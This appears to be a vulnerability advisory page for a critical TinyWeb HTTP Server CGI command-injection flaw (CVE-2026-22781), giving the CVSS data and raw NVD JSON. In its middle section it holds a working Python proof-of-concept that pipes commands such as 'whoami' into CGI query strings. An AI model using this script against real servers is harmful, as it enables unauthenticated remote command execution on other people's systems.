Security Vulnerability Report
中文
CVE-2026-22781 CVSS 9.8 CRITICAL

CVE-2026-22781

Published: 2026-01-12 19:16:04
Last Modified: 2026-01-16 18:44:23

Description

TinyWeb is a web server (HTTP, HTTPS) written in Delphi for Win32. TinyWeb HTTP Server before version 1.98 is vulnerable to OS command injection via CGI ISINDEX-style query parameters. The query parameters are passed as command-line arguments to the CGI executable via Windows CreateProcess(). An unauthenticated remote attacker can execute arbitrary commands on the server by injecting Windows shell metacharacters into HTTP requests. This vulnerability is fixed in 1.98.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ritlabs:tinyweb:*:*:*:*:*:*:*:* - VULNERABLE
TinyWeb HTTP Server < 1.98

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys def exploit_tinyweb(target_ip, target_port, command): """ PoC for CVE-2026-22781: TinyWeb HTTP Server CGI Command Injection This exploits the OS command injection vulnerability via CGI ISINDEX query parameters. """ # Construct the malicious HTTP request with shell metacharacters # Using pipe character to chain commands payload = f"GET /cgi-bin/script.exe?{command} HTTP/1.1\r\n" payload += f"Host: {target_ip}:{target_port}\r\n" payload += "Connection: close\r\n" payload += "\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload.encode()) response = sock.recv(4096) sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" # Example usage # Execute whoami command: exploit_tinyweb('192.168.1.100', 80, 'param|whoami') # Read passwd file: exploit_tinyweb('192.168.1.100', 80, 'param|type C:\\Windows\\win.ini') # Note: Replace 'script.exe' with actual CGI script name on target server

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22781", "sourceIdentifier": "[email protected]", "published": "2026-01-12T19:16:03.787", "lastModified": "2026-01-16T18:44:23.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TinyWeb is a web server (HTTP, HTTPS) written in Delphi for Win32. TinyWeb HTTP Server before version 1.98 is vulnerable to OS command injection via CGI ISINDEX-style query parameters. The query parameters are passed as command-line arguments to the CGI executable via Windows CreateProcess(). An unauthenticated remote attacker can execute arbitrary commands on the server by injecting Windows shell metacharacters into HTTP requests. This vulnerability is fixed in 1.98."}, {"lang": "es", "value": "TinyWeb es un servidor web (HTTP, HTTPS) escrito en Delphi para Win32. TinyWeb HTTP Server anterior a la versión 1.98 es vulnerable a inyección de comandos del sistema operativo a través de parámetros de consulta de estilo ISINDEX de CGI. Los parámetros de consulta se pasan como argumentos de línea de comandos al ejecutable CGI a través de Windows CreateProcess(). Un atacante remoto no autenticado puede ejecutar comandos arbitrarios en el servidor inyectando metacaracteres de shell de Windows en las solicitudes HTTP. Esta vulnerabilidad está corregida en la versión 1.98."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ritlabs:tinyweb:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.98", "matchCriteriaId": "D6A1371A-96D5-404C-983B-4BF309154A94"}]}]}], "references": [{"url": "https://github.com/maximmasiutin/TinyWeb/commit/876b7e2887f4ea5be3e18bb2af7313f23a283c96", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/maximmasiutin/TinyWeb/security/advisories/GHSA-m779-84h5-72q2", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.masiutin.net/tinyweb-cve-2025-cgi-command-injection.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}